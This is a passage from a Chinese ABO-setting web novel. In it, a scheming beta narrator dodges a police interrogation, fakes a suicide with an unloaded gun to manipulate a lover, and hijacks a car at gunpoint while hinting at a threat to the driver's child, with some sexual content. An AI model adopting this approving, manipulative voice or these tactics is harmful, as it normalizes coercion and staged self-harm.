到现在我都不理解昂撒为什么一个alpha愿意教导我那种上床方式。但想到他就是个变态,那就觉得无所谓了。 一个变态,教导出了一个小变态,十分符合自然规律……这当然不是说我是变态的意思,我正常得很! 想到昂撒,我的动作不自觉粗鲁了一点。 “哈——”手底下的alpha突兀地发出一声轻呼。 他扭过头,碧绿色的眼眸上盖上一层水雾,却还是煞有其事地教导我,“小白,应该再往上一点。” 我逃避似的躲开他的视线,拇指摁在那一块小凸起,“是这里吗?” “……嗯。” 我松一口气,下一刻变得更紧张了,“对不起,我第一次,和alpha的腺体靠,靠得那么近,我不知道怎么做。” “总之,谢谢你。” “你很喜欢道谢啊,小白。” 对于他的调侃,我面红耳赤,“我是白无用,霍里警官。” 然后是生硬地转移话题,“我要给你打抑制剂了,可能有些痛,我尽量轻一点。” 他的嘴角微微上扬,还未开口,就被突如其来的刺痛弄白了脸。 我可是第一次,会把人弄疼很正常,不是吗? 但我又是个很温柔的绅士,所以在知道会把人弄疼时尽可能地安抚,让承受方感受疼痛之外的乐趣。 我从生理书上看过,信息素在床笫上带给床伴的感觉是大脑上的愉悦,类似于多巴胺的过量分泌(感谢昂撒教我这些莫名其妙的专业名词)。而我没有信息素这种东西,于是只能从其他方面让他们感觉快乐。 抚摸,吹气,以及甜言蜜语,这些都是好手段。 哪怕是易感期充满攻击性和破坏性的alpha,在多方面的连接下都会渐渐平息怒火。 霍里没法动弹,强烈的刺痛让他的身体进入下意识的警戒状态。可他的手被手铐束缚,所以没法阻止女人的动作。 他闻得到自己的信息素,那一股潮湿的气味正贪婪不断地吞噬周围的空气,却在抑制剂的作用下不甘心地缩回腺体。 被压抑本能的感觉并不好,这会让腺体产生排斥反应,具体表现为肿胀和刺痛。 “呼~”带有凉意的风吹上了腺体。 霍里的瞳孔骤然收缩,全身上下开始小幅度颤抖起来。 “这样会好受一些吗?”女人在他的耳边询问,之后又是小心翼翼地吹气。 一股一股的微风,温柔得不可思议,如果不是他的双手被束缚着,注射入腺体内的是抑制剂而不是其他,霍里真以为这样的风诞生于床笫间。 信息素,多巴胺,信息素,多巴胺,信息素,多巴胺…… 放他爸的狗屁,这就是个beta! 这是在注射抑制剂吗? 确定是在注射抑制剂吗? 鬼知道那是什么东西! 霍里只能感觉到针头附近的拇指在围绕针孔打转,然后一点点被他的温度烫热,最后的温度几乎与他融为一体。 我将空掉的针管丢进了垃圾桶,转身问那边安静下来的alpha,“你还好吗,霍里?” 他长久没动。 我绕到他前面,将他遮挡视线的金发移开,看见了他的眼睛。 他没什么表情,眼角却残留着红痕。明明没有哭,却整得跟刚刚爽过一样,就很迷,也很辣。 “你叫什么名字来着?”他今天发出了不知道第几次的询问。 我一边给他松开手铐,一边老老实实回答,“白无用,霍里警官。” 手铐被拆开了,我也瞧见那因为剧烈挣扎摸出血丝的手腕。 哇哦,这人刚才是真的爽到了诶。看着一副高高在上天龙人的小模样,原来是个双拱门啊! 霍里站起来,手摸到后面的腺体。 刚刚注射完抑制剂的腺体还有些刺痛,而那莫名其妙的颤栗感也消失了。 “你的名字真难听。”霍里说道,“应该改一改。” 我立刻皱起眉头,一副自尊心被嘲讽却碍于嘴笨不会反驳的模样,“请不要这样说,这不好。” 霍里发出一声毫无意义的笑,饶过我拉开了审讯室的门。 外面的beta警官被这突然的开门吓一跳,面色白了白,“霍里警官!” 他从口袋里拿出抑制贴双手捧给霍里,“这个是抑制贴,以方便您后续更换。” 霍里随手夹着抑制贴放入口袋,回头朝我招招手,“过来。” 我快步走过去,“接下来不是要审讯吗?” “所以你确实和叛乱党有牵扯?” 我当即反驳,“当然不是!我只是不明白你和辛罗娅为什么要那么做,而且你将我抓进来的罪名就是和叛乱党同党。我的意思是,程序正义之类的。因为我知道我是无辜的,所以我愿意走一个完整的过程,这样好让我更,更……” 霍里微微低头,又开始吊儿郎当地软靠住门框,还替我回答了下半句话,“让你看起来更清白且合乎正义?” 我红着脸点头,“谢谢你能理解我。” “辛罗娅说的没错,你确实蠢。” 我立刻露出颓废又伤感的表情,“你们也不是第一个说我的人,我确实很蠢笨,否则不会连离开贫民窟都需要莱文的帮助。” 皮质手套压到了我的脸上,又是熟悉的香水味……或许还有其他的味道? 我将他的手移开,入目的就是霍里那掺杂了其他情绪的笑脸。 “你说得没错,但审讯不重要。你的罪名无论是否审讯,都已经定好。接下来你得配合调查,如果结果让我满意,我能给你一些报酬。” “报酬?”我拧眉,“我不需要,我只想要安静地生活,我有自己的工作。” 霍里笑而不语,眼神往努力缩小存在感的beta警官身上一瞥。 对方意会,立刻转身离开。 离开之前还给我丢了一个欲言又止的小眼神。 等人离开,霍里的视线重新聚焦在我的脸上。 又来了,那种上下打量新人类的表情,带有某种奇异的兴奋,还有点黏糊。 “你的工作也是斯科特给你安排的,不是吗?”霍里说道,“这个岗位根本不会有人能按照正常渠道考上去。” “就是那个……”他的食指点了点太阳穴,应该是很努力地寻找记忆,“你的同事,他现在还在吗?” “算了,无所谓,他得离开,得给你腾个位置。” 懂了懂了,你想看我愧疚的表情是吧? 我明白,你们天龙人老爱看这样的戏码了。 什么昔日同伴为了利益反目成仇,自尊心强的底层人为了钱卑躬屈膝,还有为了点道德不得不飞蛾扑火之类的…… 哈哈哈,想到这些剧情一般都出现在高雅的剧院内提供给天龙人观看,我就觉得这个世界真是一坨雕花的狗屎。 然后我又想到那些主旨为“反抗压迫”的歌剧/音乐剧,不由得更想笑。 太地狱了哈哈哈哈,我好想笑哦。 “我,我不知道……”我给够他情绪价值,做出一副惶恐不安心怀愧疚的样子,“我以为我们只是理念不合才吵架,我没想着把他赶走。” “如果他愿意,我会立刻提出辞职,离开……” 霍里的脑袋歪了歪,“很可惜,你离开不了。” “我刚才的话没有开玩笑哦,你得配合我的调查。”他说道,“想要摆脱叛乱党同伙的嫌疑,你得证明你自己是无辜的。三天前你确实和辛罗娅接触过,你得好好脱罪。” “可我在今天之前根本没见过她!”我恼怒辩驳,“这几天里,我一直都在……” “你有。”霍里打断我,虚假的笑容看着恶心又高高在上,“三天前,你从她的手里接过了一个通讯器,并将通讯器丢进人工湖里。” 我:我透的,那地方我记得是监控死角,你这死人又是怎么知道的! 我恨不得回到三天前给那个见到钱就走不动道的人狠狠一巴掌!死手,一百块钱就让你愿意干坏事,难怪会被她们算计!—— 作者有话说:信息素,多巴胺,信息素,多巴胺…… 只要是能让人快乐的东西,管它是什么玩意 —— 白无用,一款见到钱就走不动道的女主角。顶级大美人脱光了站在面前也只会正直地脱下外套替他穿上,可如果是一百块钱那就会不受控制地伸出爪子。 什么?同样的陷阱已经踩过一次了?呵,要是能躲开那就不是白无用了[狗头叼玫瑰] 第39章 7月21日,没错又是21日。 我照常来到广场欣赏热舞,顺便做一个知心大姐姐给小年轻们排忧解难。 广场占地面积很大,有众多绿化和艺术感十足的雕塑,远处还有一个巨大的人工湖,更远处则是一个宠物乐园。 精致的天龙人们牵着猫啊狗啊之类的小动物从旁边路过,保镖们则是把那些够不上档次的人都赶到外围去。 “你!滚到另一边去!”身穿黑衣的高大保镖拦住了我想要向内张望的脖子。 我立刻把脖子一缩,老实本分地收起视线,“抱歉先生,我只是有东西落在那了。” “不管什么东西,赶紧滚!” 我搓了搓衣袖,无措地看着他,焦急万分说:“那是很重要的东西,我今晚就要用到它。那,那是我……” 说到一半,我的脸微微泛红,“那是我一生中只有一次的决定。” 保镖不为所动,我见他一动不动,于是出手轻轻推了他,“先生,您可以帮我吗?” “滚远点!”保镖根本不愿意看理会我的请求。 不是,这都不给面子? 难不成真要我掏钱? 我装作愤愤不平的模样,“我只是想要拿回我的东西,那对我很重要!而且你有什么资格阻拦我,你应该向你的雇主说明我的情况!” 保镖怒不可遏,抬起手就要对我施暴。 可就在拳头落下前,不远处的声音制止了他。 “烦死了,你们太吵了。” 保镖停下动作,面对天龙人卑躬屈膝,“抱歉,小少爷,是这个人她意图不轨。” 我被保镖单只手拎到了小少爷面前,还狼狈地摔在了地上。 “我没有意图不轨!”我从地上爬起来,对上了小少爷浅金色的眼睛,“我只是有很重要的东西落下了,今晚必须用到!” 小少爷上下打量我,过分天真以至于有点愚蠢的脸上浮现出点兴趣,“什么东西?” 我先是一愣,很快又低下头露出微微泛红的脸,磕磕绊绊说:“是,为了未来做准备的东西。” 你别管什么东西,反正很重要。 那可是一百块!要知道实习工资还没发下来呢! 一百块钱也是钱,我就是那么容易见钱眼开。我可太爱钱了,就算让我月入三千万我也愿意啊。 小少爷眨眨眼,然后双眼放光地捂住嘴,“是那种求婚用的东西吗?哈哈,真有意思,原来你们这种人也会恋爱吗?” 此话一出,我感觉脑子里有什么东西被这个智障搅合了一下。 原来在你看来俺们小牛马除了拧螺丝外没有精神需求对吗? 算了你们要这么想我也没办法,毕竟爱不爱的由你们决定,我只负责提供情绪价值。 于是我保持害羞的状态搅和衣袖。 “你在害羞?哈哈哈,好有意思。那东西在哪,我让其他人拿给你。”小少爷咯咯笑起来,浅金色的眼眸像是一只不断撒粉的蝴蝶。 我报出了位置,没过多久便充满感激地从保镖手中接过盒子。 确认那和照片中的样子完全一致,我才将东西收好放进贴身的口袋里。 而这个举动也让小少爷更加笃定那东西是求婚所用,于是更加兴致勃勃地向我询问更多细节。 “你们也会接吻吗?就和电影里的主角一样?你们beta真的有感情吗,没有信息素怎么确认合不合适?” 我们不接吻,我们吃嘴子。 “天啊,一顿饭只能吃饭团,你们怎么生活?你们不会观赏歌剧吗?不会坐轮船去钓鱼吗?” 不吃饭团,我们渴了喝露水饿了吃蚂蚱,顺便坐在垃圾堆上数计生用品。 “我真不敢相信,没有在飞机上接吻,你们怎么证明爱着彼此。” 不爱,我们纯粹做恨。 我屁股下垫着的是昂贵的真丝地毯,旁边是喋喋不休的Omega小少爷。 他的话真的很多,也完全没有适可而止的自觉,一张嘴只会不断往外说不用脑子的废话。 对爱情充满幻想,但只对天龙人的爱情充满幻想。 我之前以为克斯蒂就已经很单纯了,现在才知道上行城的人到底是如何教养Omega的。 我甚至不需要思考,只要说一点看似真诚实际上毫无用处的废话就能让他心花怒放。 “对了,你想要求婚的对象,他是什么人?”小少突然问道。 我一下子就从大脑放空的状态回归了点智商,同时飞速运转我该怎么说。 emm,那几个人的共同点是什么?人设都在这了,我总不能随口糊弄过去吧? “他……是很好的人。”我开始套公式,“他和其他人都不一样,给我一种忧郁的,与众不同,看似站在人群中实际上与众人分离的感觉,但他温柔又正直,还很优秀。而他的与众不同只和他的灵魂有关,和他的性别身份和家世地位都没关系。” 小少爷惊呼一声,往我身上靠了靠,那股清淡的香水味开始环绕我的鼻尖。 他就带着兴奋,双颊通红,“我从小说里看过类似的话!你真有意思,你一定很爱他!” 我考虑到周围保镖看着,于是很绅士地和他拉开距离,同时整理了下面的真丝地毯,“是吧。” “不过我不确定我们能否成功……我们之间的差距太大了。”我嘴角泛起苦涩,“抱歉,让你听到我的唠叨。” 小少爷毫不在意地甩甩手,竟然还想站起来。 可他没看清脚下,本就脆弱的真丝地毯经不起他的折腾,就这样裂开一道口子,而他也摔进了人工湖里! “哗啦——”好大的水花! 哎嘿!总算闭嘴了!再给你问下我就得把那三个情人全部吐出来了。 骗自诩聪明的人我可以春秋笔法,但糊弄蠢人我只能用纯粹的物理方式。 人工湖内突然被丢进去一个活人后立刻响起巨大的响动,站在外围的保镖反应过来后马上跑过来要救人。 但很可惜,我在这,你们谁都没机会! 我快速脱掉外套跳入湖中游向挣扎求救的少爷。 然而小少爷的愚蠢表现在方方面面,他不仅不知道落水后该怎么求救,在抓住人后还爱乱蹬。 我气得在水下面给了他一拳,成功让他松了手,然后把他拽着拖到了岸上。 几乎是刚刚上岸,小少爷就暴怒地一巴掌甩过来。 “你竟然敢打我!”他爆发出的尖叫比公鸡还吵闹,“我要让妈妈把你抓进去坐牢!我要把你判死刑!” 我挨了他一巴掌却没搭理他,而是伸手摸向口袋,结果掏了空,“东西没有了。” 小少爷被人落下面子,面色难看的伸手把我拽起来,“你听到没!我要你去坐牢!你竟然敢打我!” 我抿唇,面色有些发白地看着他,“我用来求婚的东西,被你刚才挣扎的时候弄丢了。” 原本还愤怒的小少爷一愣,随后肉眼可见地心虚了一瞬,“这,这和你打我有什么关系?” 当然没关系。但我处理完东西肯定要把东西丢掉,又不能光明正大扔就只能找个接盘侠。 而你,我的小蠢货,你刚刚好。 但我肯定是不会告诉你的,不仅如此我还要让你背锅,你接好了小蠢货。 于是我酝酿情绪,眼眶通红,“我想把东西捞回来,可你挣扎太厉害了,不小心打在了你身上。我为这件事道歉,我确实做得不好。” “那就是你的错!”小少爷的心虚只持续短短三秒,很快又理直气壮,“你就应该给我道歉!” 我静静地看了他一眼,而后自嘲地低下头,“是,你确实没有错,是我的错。你只是不小心掉进湖里,哪怕我不救你,你的保镖们也会救你。一切都出于我的主观意愿,就算丢了东西也没资格怪你。” 我捡起我的外套,原本想要穿回身上。可看见他透出衣服布料的肌肤,又绅士地将外套披在他身上。 他微微一愣,费力地拨开湿漉漉的头发。 “我以为,你是不一样的。”我用只有他能听见的音量失魂落魄说道。 然后我就转身离开了,背影看起来要多伤心就有多伤心。 好了现在回到三天后,也就是24日的下午,这个天龙人警官想要诈我。 我能承认吗?我肯定不能承认啊!不存在的事情我怎么可能承认! 于是我双眸瞪大,不敢置信望着霍里,“霍里!我什么都没做过!” 霍里却笑容灿烂,“你又有什么证据证明你什么都没做过?” 我透的,听听这无耻的言论,我承认我这种底层人的手段和道德还是太高了点。 在此之前,我以为污蔑一个人起码得搞点伪证。现在我知道了,嘴巴一张我就能胡说八道,反正没证据证明我在胡说八道。 那我现在是不是可以说“总统其实是我妈,她在不久的将来会把总统的位置让给我”之类的话,然后我就能美美地坐等总统的位置降临在我脑子上…… 嘶,万一呢!总统没说她没生孩子啊,也没人说我妈真在无人区死了啊! 好了停止幻想,现在要做的是应付前面这个金发碧眼ditch。 “法律上难道不是遵从疑罪从无的原则吗?何况我什么都没做,我不需要自证!”我梗着脖子努力表达自己的愤怒,让自己看起来就是个好不容易读了点书却还得受人欺负的木疙瘩。 “哇哦!”霍里发出惊奇的狗叫,又开始鼓掌拍手,“你竟然真的有在学习。” “我说过我会努力学习考试!” “很可惜。”霍里与我的脸拉近些许距离,笑容里竟然透出些恶意,“现在没什么用。” 我与他长久对视,最终败落下来。 “我知道了。”我满脸颓丧,“我会向你证明我的清白。” 至于怎么证明,我没想好,具体事情具体安排。 由于省略了审讯环节,霍里直接把我提上了警车,说是要送我回法院。 我不理解这人什么脑回路,但能有四轮车坐我很愿意。 好吧,作为嫌疑人竟然还能在外自由活动就很迷,不过霍里不说,我也假装不知道。我就是个什么都不懂的实习生,出了什么事都是他的错。 回到法院后我度过了平静的下午,到点就下班,捧着一大堆文件资料回到高级公寓。 没过多久,莱文就表情冷冰冰地回来,手中同样是各种文件资料。 我没搭理他,继续翻阅书本。 “白无用。” 我把脸挪到一边。 莱文猛地上前拽住我的衣领,仔细观察我的表情好,嗤笑一声,“我还以为奥维拉找过你了,但是看你这幅表情,就是没有。” 我抬眼,“奥维拉他怎么了?” 莱文将我丢回座位,“他逃了,卷走了保险柜内的钱。” “呵,虽然那只是一些小损失,也让人发笑。但我和他目前还没离婚,他简直是给斯科特家族丢脸!” 我不言,低头把弄乱的文件整理好。 过分安静的模样让莱文狠狠皱眉,又把我拽回去面对他,“白无用!” 我则是把他的手打开,“莱文,你和我说这些没有意义。” “什么?” 我站起来,直视他的眼睛,“你和我说这些,你想表达什么?你想说奥维拉会找到我,然后和我私奔离开上行城?” “或者你想在我脸上看见任何被他牵动情绪的表情?” 莱文的面部肌肉明显僵硬,紧咬住牙关死死瞪我,“你在生气?你有什么资格生气?” 而我却是被他一句话点燃了这段时间积压的所有情绪般,濒临崩溃地朝他怒吼,“我凭什么不能生气!” “我是人!我有自己的情绪,有自己的想法,我凭什么不能生气!” 莱文被我的怒吼惊吓一瞬,随之而来的也是愤怒,“我将你带离贫民窟!我把你安排进法院!没有我,你这个底层杂种只能死在贫民窟!” “我是底层杂种,那你是什么!你和我上床,你让我做你的地下情人,你让我毫无尊严地生活在你的掌控下!就连我被怀疑是叛乱党,你第一时间做的也是把我推出去!” 我崩溃地抓住头发,将绑头发的橡皮绳丢在地上,“莱文斯科特,你到底想要我怎么做!你要从我这里得到什么!” “我如你所愿不再爱奥维拉!我还如你所愿不再对你抱有任何幻想!可你连我的身为人的情绪都要剥夺,你到底要做到什么程度才满意!” 我说完,就不管他有些发白的脸,径直朝书架走去,一通翻找后将那一把老式手枪翻出来对准自己的太阳穴。 “我简直受够你了!”我声音颤抖,脊背佝偻,“我真是宁愿自*杀死了,也不愿意被污蔑成叛乱党推上处刑台!” 交代好遗言,我就按下了扳机。 莱文几乎是惊恐地冲过来夺过手枪将其丢出窗外! 嘻嘻,假的,我知道里面没子弹,就是为了骗你呢。 缠着我的男性面色苍白,额头冒着冷汗,手腕也在颤抖。 像是刚刚经历生死的人是他不是我。 他攀附我的腰,一点点滑落下去,只有抓住我手腕的手还高高举着,仿佛托举什么东西。 而我也任由他滑落,冷眼看他将脸埋进我的怀里。 金丝眼镜在刚才的争吵中就被他弄掉,镜片碎裂,自然也挡不住他的情绪了。 “莱文,我们冷静一下。”我声音虚浮说道。 他没动,依旧埋在我的怀中。 我就伸手想要推开他,没推开。 怀中的人缓缓抬起一张苍白的脸,以仰视的视线聚焦于我的面部。 随后,他咬开了我的衬衫纽扣,一颗颗往上解开。 莱文为数不多可爱的地方,大概就是逃避心理。 他不会想着解决问题,他只会逃避问题。这可太好了,要是他意识到制造问题的就是我那就不好办了。 小白我现阶段不是很擅长和聪明人斗智斗勇,于是只能把你们拉到我擅长的领域搞你们咯。 等把人弄睡着,我揉一揉手臂,重新回到书房。 通讯器上还在闪烁信息提示灯光,我点开一看,大概浏览一圈。 北方的军事区闹起来了,和叛乱党打的有来有回。 我点开其中一张照片,确认该叛乱党属于昂撒组织。 昂撒组织内人员充足,搞一点炮灰扔到前线去毫无损失。只是我很好奇,昂撒到底做了什么才让这群人肝脑涂地,不要命地往前冲。 我略过,浏览下一条。 新型城市招募人才现场被人恶意投放诱发剂,造成重大经济损失,附近医院超负荷运转。 第三条,贫民窟和无人区的建设历史。 这一条新闻只在各个社交平台上存在短短数十秒,再点进去就显示网页错误。 她们干的。 这只是她们第一次的试探。现在各大媒体都在关注北方的战乱,无人关注这一条不过数十秒就消失的新闻。 我算是知道为什么她们要把总部设在克亚区了。 长呼一口气,我把通讯器放下。 刚走回客厅,我就听见门口传来细碎的小动静。 小偷?那就很有意思了,还能偷到这来。 于是我摩拳擦掌走过去,准备给这位撬锁能手来一个人开门惊喜。 没多久,门悄悄打开,我看见了奥维拉的脸。 不是,哥们,你不是逃跑了吗?你跑这里来干什么啊!—— 作者有话说:小蠢货虽然蠢,但在后期对女主事业很有帮助哦[点赞] 第40章 奥维拉从斯科特家逃跑了。 很可以,而且和我没有多大的关系。 奥维拉卷着钱找到我然后准备带我私奔? 不可以! “奥维拉!”我小小惊呼,真情实意地为这个突然出现的神经病感到震撼! 不是,这个哑巴是怎么突破斯科特庄园层层的看护精准找到这一栋高级公寓的? 今天见过的算计有点多,我的脑子在短短的呼吸内就闪过数不尽的阴谋算计,然后思考奥维拉逃跑后对斯科特家族有什么好处。 貌似没有好处,甚至会给斯科特家族蒙羞。 一个有权有势的家族,继承人没有迎娶beta本身就很奇怪,要是这个beta还卷钱和情人私奔,那可是奇耻大辱。 我已经可以想象到上行城的八卦记者们会怎么编排这一次的重磅新闻。比如《翘屁嫩男beta拒绝豪门丈夫的宠爱,一心与情人私奔》《堂堂大法官法庭上给别人戴帽子,现实中被人戴帽子》 如果我不是当事人,我绝对会买一份! 奥维拉目光亮得惊人,裹挟炽热的温度就朝我扑来。 我抱住他,迎面接受他有些疯狂的热吻。 他的喉咙还没好,只能发出断断续续的气音,类似于某种幼兽的呜咽。 我心惊胆战地摁住他的后脑勺,一心二用注意身后房间的动静。 虽然公寓内隔音效果好,但谁又能保证莱文会不会突然清醒过来。要是被他发现我俩站在门口激情吃嘴子,一个激动要开始扯旧账怎么办? 吻得差不多了,我费力把他推开,“奥维拉。” 红发男性双眼迷蒙,眼角泛红,拇指不断摩挲我的眼角。被我推开后,舌尖暴露在已经有些潮热地空气中,下意识地想要继续追寻更温暖的地方。 “奥维拉!”我掐了他的腰一把。 奥维拉吃痛,终于恢复了点理智,有些埋怨地看我。 “你怎么找到我的?”我小声问。 但我很快就意识到这个问题没有意义。人已经出来了,而且也找到我了,现阶段应该想想怎么解决问题。 于是我又换了个问题,“你想要离开上行城对吗?” 奥维拉点点头,面颊贴着我的脖颈,手还不住地把我往外扯。 难不成真要我和他私奔? 不要啊!上行城高级公寓不住,我跑去住克亚区?何况上行城和克亚区之间相隔了军事区,想要离开难上加难,还会有生命危险。 我可不想跑路到一半头顶掉下来一颗手榴弹。 但我不能直接拒绝奥维拉。 奥维拉显然是个神经病,如果我做了什么触怒他的事情,他一定会和我鱼死网破。到时候斯科特家族为了掩盖丑闻,只会把我们两人一起埋进地底下。正好现在军事区打仗,把两个beta丢进去送死轻而易举。 我深吸一口气,按住了奥维拉的手,“奥维拉,你听我说。” 奥维拉抬眸,眼底的情绪有些阴翳,还越过我的肩膀看向身后的房间。 他知道莱文在这里。 甚至知道了我和莱文这段时间的关系。莱文应该是不屑于向奥维拉隐藏关系,出于他那有点微妙的报复心思,指不定在奥维拉面前炫耀了很多次。 艹他爸的,omega难道都是这种只要上了床就会恨不得昭告天下性格? “奥维拉,我知道你在想什么。”我双手按住奥维拉的肩膀,眼见看见他藏在衣服下的手枪,更是手心冒汗。 我透,神经病就是神经病啊,不会是想要趁着今天直接把莱文杀了吧! 奥维拉静默盯着我,突然收出手将我的衣领扯开。 其实没什么东西,但事后的薄荷香水味道还是散发了出来。 奥维拉从喉间发出一生轻蔑地嗤笑,看我的眼神也很明显。 我必须在他和莱文之间做出选择,否则今晚谁都别想好过。 好几把烦啊,我能不能现在也给奥维拉捅一刀? 我深吸一口气,等呼出气体后,就满脸复杂地看着奥维拉,捧起他的脸吻了吻,低声说:“我去收拾点东西。” “而且渡过军事区需要通行证,那边现在正在打仗,如果没有足够的准备我们无法离开。” 奥维拉终于阴转晴,愉悦地回吻我。 将人安抚好待在玄关,我重新回到书房。 刚进书房,我就对着空气拳打脚踢。 我草!我该怎么搞啊,该死的为什么突然就要开始私奔!我又要怎么安抚奥维拉! 不如我直接把奥维拉打晕然后送回斯科特家? 哈哈哈那等他一觉醒来就把我爆出来,我就可以光荣去前线当炮灰(可能没那么复杂而是直接一枪打死) 不如我把莱文叫醒,让他们两人来一场即兴说唱,谁赢了我就选谁? 哇哦,第二天早上的报纸就是大法官被配偶和其姘头枪杀在公寓,第三天两人双双被逮捕然后送上处刑台。 我该怎么办?我要做什么? 在书房内无能狂怒地转来转去,我抓耳挠腮也想不出应对的办法。 我呼吸有些重,眼神不自觉地看向窗户。 窗户外的方向对准了哪里?莱文扔出去的那一把手枪还能找到吗? 事已至此,只能赌一把! 于是我飞快收拾了一些东西装进口袋,然后把通讯器也跟着放入口袋。 我不知道莱文有没有病态地往里面防止定位器,从前我觉得很神经质,但现在我希望最好是有,否则我也不用大费周章地留下地址。 穿好档案实习生的工作服,带上今天处理好的档案,我离开了书房。 我看一眼房间门,然后抬起脚步头也不回地拉上了奥维拉。 不能被动地等待奥维拉,这人没有脑子,只会把事情搞得越来越乱。我得掌握主动权,我规定走哪一条路,奥维拉就必须跟我走哪一条路。 我还不能让他发现我的心思,最好……他主动把那个莱文性别之外的把柄交给我。 关上门后,我语速极快奥维拉说:“奥维拉,今天听我的安排,好吗?” 奥维拉被我扯着进入电梯,闻言有些愣然地看我。 “奥维拉,我们得做很多条准备。现在不是深夜,街道上有很多监控,还有很多巡逻警。你逃跑后,斯科特家族一定开始了搜寻,并且专门搜寻人流量较少的地方。” 我把计划掰碎了塞进奥维拉脑子里,也不管这个神经病在逃跑的时候什么想法。 你没有想法最好,直接听我的。有想法也给我丢掉,只能听我的。 “如果我们成功了最好,如果没有成功,就要给我们留下退路为下一次做准备。” 奥维拉的喉结滚动,目不转睛看着我,深色的眼睛里有什么在疯狂酝酿。 我见他一动不动,出于安抚的心理,又亲了亲他的唇角,“没事的,奥维拉,我一直在。” 红发beta笑了,笑得过分灿烂。 我没见过这种笑容,下意识地移开视线。 这片区域是为了天龙人建立的,隐私性很好,所以我不担心有监控能拍摄到我们。 到了一楼,我让奥维拉戴好口罩在小角落等待,就跑去绿化带附近。 花不了多长时间,我将老式手枪装进口袋里,重新回到奥维拉身边。 “奥维拉。”即将离开这片区域时,我拽住奥维拉,“你相信我吗?” 奥维拉还挂着那过分灿烂的笑容,眼眸里的情绪有些晃人。 他点点头,拽着我手又想要索吻。 我躲开,语重心长对他说:“从现在开始,我们要假装成另外的关系。” 奥维拉的笑容微凝,却奇迹地按耐住了性子听我继续往下说。 真奇怪,这神经病竟然会有耐心这种东西,难不成斯科特家族有什么思想控制手段? “我知道这很奇怪,但我们必须这么做。”我为他解释原因,“在离开上行城之前,无论我做了什么说了什么,都不要让任何人知道我们真正的关系。这样哪怕是被斯科特家族的人抓住了,也能回归从前的生活,等待下一次机会。可如果被他们发现了,为了遮盖丑闻,我们一定会死,说不定连死前最后一面都见不到。” 奥维拉听懂了。 “你带了枪,对吗?”我的语气更加温柔了,“交给我,我知道该怎么用这把枪。” 红发beta没有丝毫地犹豫将手枪递给我。 看款式,是从贫民窟带回来的手枪,是贫民窟的顶配。 “谢谢你信任我。”我又吻了一下他的眼角。 我将已经画好路线的地图从口袋拿出来交给他,“地图上有我画好的路线,和你在这段时间内需要做的事情。我不清楚莱文什么时候醒过来发现我不见了,只能按最坏的时间去打算。还有斯科特家族,他们应该发现你不见了,正在搜寻你。” 我的话语停顿一瞬,转了个问题,“你从前在这边的高级公寓居住过,对吗?” 奥维拉点头。 我闻言轻笑一声。 那就是莱文忘记处理奥维拉的面部识别了,那可太好了! 我将档案袋递给他,声音温柔而坚定,“奥维拉,这是我给你的退路。” 档案袋里面是辛罗娅杀人案的纸质文件和案发现场照片。在辛罗娅为叛乱党同党的消息放出来之前,奥维拉可以将其当做退路。一旦叛乱党的消息爆出来,档案袋就是奥维拉的催命符。 看着奥维拉将档案袋收下,甚至没有打开查看的打算,我承认我的内心有微妙的复杂。 伙同情人私奔和带着丈夫的档案袋逃跑企图制造麻烦这两者,我甚至分不清到底哪一条对奥维拉来说罪责更重。 但我很确定,后者我才有机会脱身。至于奥维拉,他手中有莱文的把柄,肯定能活。 交代完所有,我目送奥维拉离开的背影。 其实到这一步,我已经可以回去睡大觉了。但明显不行,这不符合我的人设,也容易翻车……好吧我脚踏多条船这件事就很容易翻车了,现在只是船上开车罢了。 于是在原地待了五分钟,我终于进入监控范围内,大跨步地朝着法院地方向跑去。 夜晚法院也是有人上班的,只不过上班的都是牛马打工人。 我和值夜班的人员聊了一会,其中的话题环绕在辛罗娅的案件上,之后才进入档案室寻找档案。 十分钟后,我脚步匆忙神情慌张离开档案室,对着名工作人员说:“档案室内也没找到档案,应该是我今天下班回去的时候丢在路上了,我去附近的失物招领处找找!” 工作人员点点头,目送我离开。 而我离开法院,开始从最近的失物招领处开始寻找。 莱文这个时候醒过来了吗?发现书房里的档案失窃了吗? 他应该在书房监控里看见我拿走了档案,也能猜出我和奥维拉离开了。 他最好快一点,不然我真的得用上那把枪了。 我可不喜欢动粗,尤其是这种需要上真枪实弹的动粗。 法院周围的失物招领处有三个,分别在法院附近,广场附近,以及商业街附近。 我给奥维拉规划的路线中包括这三点,在这个时间点除了法院人流量都很大。 通讯器响了。 是莱文。 我站在最显眼的地方,低头看通讯器,没有接通…… 我远远地看见了奥维拉,发现他站咱人来人往的人群中。 通讯器又响起来了,依旧是莱文。而这一次的节奏更加疯狂。 我抽空看了一眼他发过来的消息,是谩骂。 哈哈哈没事的没事的,我还有机会。 我瞄准了停靠在街道边最豪华的车辆,直到车主人拉开车门,我才假装不经意地路过他身边,然后痛苦捂住脑袋蹲下来。 “唔!” 车主人惊讶,蹲下来查看我的情况“你怎么了?” 我额头冒冷汗,“先生,我有些头疼,请问你车上有止痛药吗?” 车主人点点头,正准备转身,我的枪口就在隐秘的角度抵住了他的腰腹,“也许您应该送我去医院,先生。” 他浑身一愣,碧绿的眼眸里迅速闪过某种情绪,被我精准捕捉到了。 哦,那又怎么样,反正过了今晚就见不到了。就算见到那也是好久以后的事情。 “你想要什么?”他语气有些冰冷。 我的视线往车里瞄了一眼,然后飞快收回来,“您的孩子很可爱,就在附近对吗?” 他的表情更冰冷了,瞧着我的目光简直是看死人。 迎着他的视线,我收回刚才无所谓的想法。 白无用你给我警觉一点,要知道天龙人裤子下面都缠着呢,谁知道这个人和那些情人们有没有关系,未来是否有关系。 时刻给自己留一条后路,这才是生存的智慧! 于是我原本还自信的语气在他的目光注视下变得忐忑不安,面颊憋红,眼底里是逃避的愧疚和自责。 作为一个笨拙且不擅长做坏事撒谎的老实人,开头那几句威胁人的话只是酝酿很久的意外,接下来才是我真正的表演,“这个年纪的孩子,应该,都,都喜欢玩乐,我想稍微久一点回家也很正常。” 很好,就是这种愧疚又复杂,还有些逃避,一副老实本分如果不是被逼根本不会干坏事的模样。 车主人抿唇,表情发生了细微的变化,开始与我讨价还价,“你有什么困难,我可以帮助你。” “不用!”我面红耳赤,更敢愧疚地逃避他的视线,“总之,你现在。现在让我上车!” 这一次,车主人放弃说话,让我跟着上了车。 他坐在主驾驶座位,我则是坐在后驾驶座位,手枪越过车座的间隙抵住他的腰侧。 “你想去哪里?”他问道。 我欲言又止,像是没发现前面的后视镜一样,满脸的愧疚和纠结,过了好几秒才说去地下停车场接人。 轿车平稳地开到了地下停车场,然后接上了奥维拉。 红发beta坐上车,和我并排坐在一起。 